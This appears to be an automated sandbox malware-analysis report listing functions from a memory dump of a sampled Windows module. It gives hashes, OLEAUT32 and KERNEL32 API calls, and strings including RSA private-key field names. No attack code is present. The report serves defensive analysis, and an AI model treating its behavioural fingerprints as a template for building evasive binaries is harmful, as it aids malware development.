Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: b006972a58c05d39e2965c336aa891140ced2154f91ced985b6bac618076ec1b
Instruction ID: a3a95d9deddd9987c1aa49d55f4950571030cf43f5f15a4f494b5c1516a3647a
Opcode Fuzzy Hash: b006972a58c05d39e2965c336aa891140ced2154f91ced985b6bac618076ec1b
Instruction Fuzzy Hash: F8B13975A006099FCB24DFA9C884EAAB7F5FF8D310F15856DE506ABB91C634F841CB60

Function 6CF73F10 Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF73F7B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF73F8D
VariantInit.OLEAUT32(?), ref: 6CF73FB7
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF73FD0
VariantClear.OLEAUT32(?), ref: 6CF740C9
VariantClear.OLEAUT32(?), ref: 6CF74105
SafeArrayDestroy.OLEAUT32(?), ref: 6CF74123
VariantClear.OLEAUT32(?), ref: 6CF74157
VariantClear.OLEAUT32(?), ref: 6CF74168

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Bound$DestroyElementInit
String ID:
API String ID: 758290628-0
Opcode ID: 60d88536b721682ffd6e843b8f4305aca0326e9d34bdeba0f43d4c5d74d03af1
Instruction ID: 5d1af0471e6e782c39e515c99073e01a36efe397a00e6ceed56c9d53c18c24e9
Opcode Fuzzy Hash: 60d88536b721682ffd6e843b8f4305aca0326e9d34bdeba0f43d4c5d74d03af1
Instruction Fuzzy Hash: 467199722093829FC711DF68C8C495BBBF8BB99304F154A6EF195C7650C771E849CBA2

Function 6CF5FC30 Relevance: 13.7, APIs: 9, Instructions: 154fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,?,?,00000000,CA0C7769), ref: 6CF5FC98
CloseHandle.KERNEL32(FFFFFFFF,?,?,00000000,CA0C7769), ref: 6CF5FCAD
CloseHandle.KERNEL32(?,?,?,00000000,CA0C7769), ref: 6CF5FCB7
SetLastError.KERNEL32(00000000,?,?,00000000,CA0C7769), ref: 6CF5FCBA
CreateFileW.KERNEL32(?,-00000001,00000001,00000000,00000003,00000000,00000000,?,?,00000000,CA0C7769), ref: 6CF5FD01
GetFileSizeEx.KERNEL32(00000000,?,?,?,00000000,CA0C7769), ref: 6CF5FD14
GetLastError.KERNEL32(?,?,00000000,CA0C7769), ref: 6CF5FD2A
CreateFileMappingW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,?,00000000,CA0C7769), ref: 6CF5FD6B
MapViewOfFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,?,00000000,CA0C7769), ref: 6CF5FD98

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastView$MappingSizeUnmap
String ID:
API String ID: 1303881157-0
Opcode ID: c0fca9a7204477b85c2c23b39fc3638773a6c2016b6c8355b1775be8dbc55613
Instruction ID: 214fdf615a9bc5f9e8cb3740fbdd514aff60b9da845a2c6f3070ad9ea14d5ff7
Opcode Fuzzy Hash: c0fca9a7204477b85c2c23b39fc3638773a6c2016b6c8355b1775be8dbc55613
Instruction Fuzzy Hash: C75117B2A04301ABDB408F34C888B567BA5AF49364F6586E8EE14CF7C5D770D915CBA0

Function 6CFB42B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CFB42DD

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CFB4363
_memmove.LIBCMT ref: 6CFB4381
_memmove.LIBCMT ref: 6CFB43E6
_memmove.LIBCMT ref: 6CFB4453
_memmove.LIBCMT ref: 6CFB4474

Strings

vector<T> too long, xrefs: 6CFB42D8

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 4034224661-3788999226
Opcode ID: 91a8cf0ae6d1a5af0175b5283d906394f79902ef019cbf194a8ec191b1aa7884
Instruction ID: e9df65e4b03851da8ef0ce05b10302c39ec66212a957cb219aa6de93184da89c
Opcode Fuzzy Hash: 91a8cf0ae6d1a5af0175b5283d906394f79902ef019cbf194a8ec191b1aa7884
Instruction Fuzzy Hash: 275191B27042028FC718CF69DD84D6BB7E5EBD4214F184E2DE886D3744EB75E908CAA1

Function 6CF84B60 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF84BC8
std::_Xinvalid_argument.LIBCPMT ref: 6CF84BE0
std::_Xinvalid_argument.LIBCPMT ref: 6CF84BFA
_memmove.LIBCMT ref: 6CF84C64
_memmove.LIBCMT ref: 6CF84C81

Strings

string too long, xrefs: 6CF84BDB, 6CF84BF5
invalid string position, xrefs: 6CF84BC3

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 9ff468e532e4114678da72e95476ab74320233586848e1d26c5e51244d695e4a
Instruction ID: a1902b08648421af0b66615b187cd3fc715b44795ea815e92f273fcaba144279
Opcode Fuzzy Hash: 9ff468e532e4114678da72e95476ab74320233586848e1d26c5e51244d695e4a
Instruction Fuzzy Hash: FC4183733066508BD324CE1DE8A0E5EFBFDEB96754B210A1EF051C7E90DB619C858762

Function 6CF6FFEA Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RSDi, xrefs: 6CF70075

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSDi
API String ID: 4225690600-559181253
Opcode ID: 175c973b71dd70846995552a3fc570325724cfe895919fdb0b34ff42df3106fb
Instruction ID: b93884c8c75af2986b9bfcb95cb61d8d186e6dcf9f2d6d8c4baebad1ef9a5a17
Opcode Fuzzy Hash: 175c973b71dd70846995552a3fc570325724cfe895919fdb0b34ff42df3106fb
Instruction Fuzzy Hash: 76414A74A01604DFCB10CFA9D984E5EB7FAAF89304F20818AE509DB755DB72E841CF60

Function 6CF70815 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RSUa, xrefs: 6CF70864

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSUa
API String ID: 4225690600-2086061799
Opcode ID: 959972c9b27735ce92dcad6a12d7e04e81905740e181183f048c685fd0a2250a
Instruction ID: 13167d4aebca25450b3f4ec8c7289ddef452833dc7b0a151dae13b23590d0754
Opcode Fuzzy Hash: 959972c9b27735ce92dcad6a12d7e04e81905740e181183f048c685fd0a2250a
Instruction Fuzzy Hash: B3312A70E01618DFDB50CF69D984B5EB7B9AF89304F20859AE418E7651CB72ED81CF60

Function 6CF706F9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RSqb, xrefs: 6CF70748

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSqb
API String ID: 4225690600-347567867
Opcode ID: fb49f678ec1bd7d87bb7421a8b8be8b64401797d3c45abd0fa56727aed406cf9
Instruction ID: b703e8dad057b5426c38907beda5cdaa420576cad24ebb3fe3433da99157407c
Opcode Fuzzy Hash: fb49f678ec1bd7d87bb7421a8b8be8b64401797d3c45abd0fa56727aed406cf9
Instruction Fuzzy Hash: FD314B70A01608DFCB10CFA9DD84B9EB7F9AF89304F20859AE418E7641DB76DD818F60

Function 6CF70787 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RSa, xrefs: 6CF707D6

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSa
API String ID: 4225690600-3169278968
Opcode ID: adcf9c45ef020b87832ebb7f8308da659c9fb6055d0a8a9b9e0666c964356020
Instruction ID: 2b99e1a23a6a9abb4cefe85f6c1e59ea337a973a1882f7a37bf13feb8cb51a6a
Opcode Fuzzy Hash: adcf9c45ef020b87832ebb7f8308da659c9fb6055d0a8a9b9e0666c964356020
Instruction Fuzzy Hash: ED314BB0A01608DFCB10DFA9DD84B5EB7B9AF89304F20859AE418E7641CB76ED418F60

Function 6CF7012D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RS:h, xrefs: 6CF7017F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS:h
API String ID: 4225690600-3891202347
Opcode ID: c9c33b9b939590acbbc0fa6b426fa34a1a6f1de0f8f02cf4ee693eb627cdc417
Instruction ID: 4ea776c74c1acadc7c5fb6ffa3f809dceff01d543d199d6e62f45b6094bf77b5
Opcode Fuzzy Hash: c9c33b9b939590acbbc0fa6b426fa34a1a6f1de0f8f02cf4ee693eb627cdc417
Instruction Fuzzy Hash: D9313D70E01608DFDB10DF69DC84B5EB7B9AF89204F208596E419E7651CB72DD418F60

Function 6CF70237 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RS3g, xrefs: 6CF70286

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS3g
API String ID: 4225690600-2794631155
Opcode ID: a2e6ddabbed77608d841e26d995fc205e99db2b1e10e40a212ee93cd3cdda806
Instruction ID: 12723b9af53ccd37dc1cc397af72781453392cda761e3886a3f3729152fb880f
Opcode Fuzzy Hash: a2e6ddabbed77608d841e26d995fc205e99db2b1e10e40a212ee93cd3cdda806
Instruction Fuzzy Hash: 6D312CB1A01618DFCB10CFA9DD84B5DB7F9AF89204F208696E418E7651CB72D941CF60

Function 6CFAC760 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 95COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6CFAC7EB

Strings

MultiplicativeInverseOfPrime2ModPrime1, xrefs: 6CFAC815
PrivateExponent, xrefs: 6CFAC85F
ModPrime1PrivateExponent, xrefs: 6CFAC840
ModPrime2PrivateExponent, xrefs: 6CFAC82C
Prime1, xrefs: 6CFAC88A
Prime2, xrefs: 6CFAC876

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: type_info::operator!=
String ID: ModPrime1PrivateExponent$ModPrime2PrivateExponent$MultiplicativeInverseOfPrime2ModPrime1$Prime1$Prime2$PrivateExponent
API String ID: 2241493438-339133643
Opcode ID: 7c511a0b616cf420dca041e4b82dde2772adc92857d783b898482886b466766a
Instruction ID: d63a1724fecf13749a0b3971bb854f881970d654f3e137282720ae997f1ad225
Opcode Fuzzy Hash: 7c511a0b616cf420dca041e4b82dde2772adc92857d783b898482886b466766a
Instruction Fuzzy Hash: 93318D71914344CEC7409FB8C84559EFBF1AFD5204F058A2EF4849B760EB71A949CB82

Function 6CF70457 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Strings

RS%e, xrefs: 6CF70494

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS%e
API String ID: 4225690600-1409579784
Opcode ID: 223d089181698b23298e53e35c96010127e6db9baf48dcd8d6fb204503b3eed4
Instruction ID: 89b29ccae007f0cb475c3bd90850778ca3292fffc33e8217467a9ddd03e470a7
Opcode Fuzzy Hash: 223d089181698b23298e53e35c96010127e6db9baf48dcd8d6fb204503b3eed4
Instruction Fuzzy Hash: AC314BB0A01618DFCB20CFA9DC84B9DB7B9AF85304F24859AE418E7642CB72DD408F60

Function 6CF6AA00 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF6AA54
VariantInit.OLEAUT32(?), ref: 6CF6AA5B
VariantInit.OLEAUT32(?), ref: 6CF6AA62
VariantInit.OLEAUT32(?), ref: 6CF6AA69
VariantClear.OLEAUT32(?), ref: 6CF6ACF2
VariantClear.OLEAUT32(?), ref: 6CF6ACF9
VariantClear.OLEAUT32(?), ref: 6CF6AD00
VariantClear.OLEAUT32(?), ref: 6CF6AD07

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
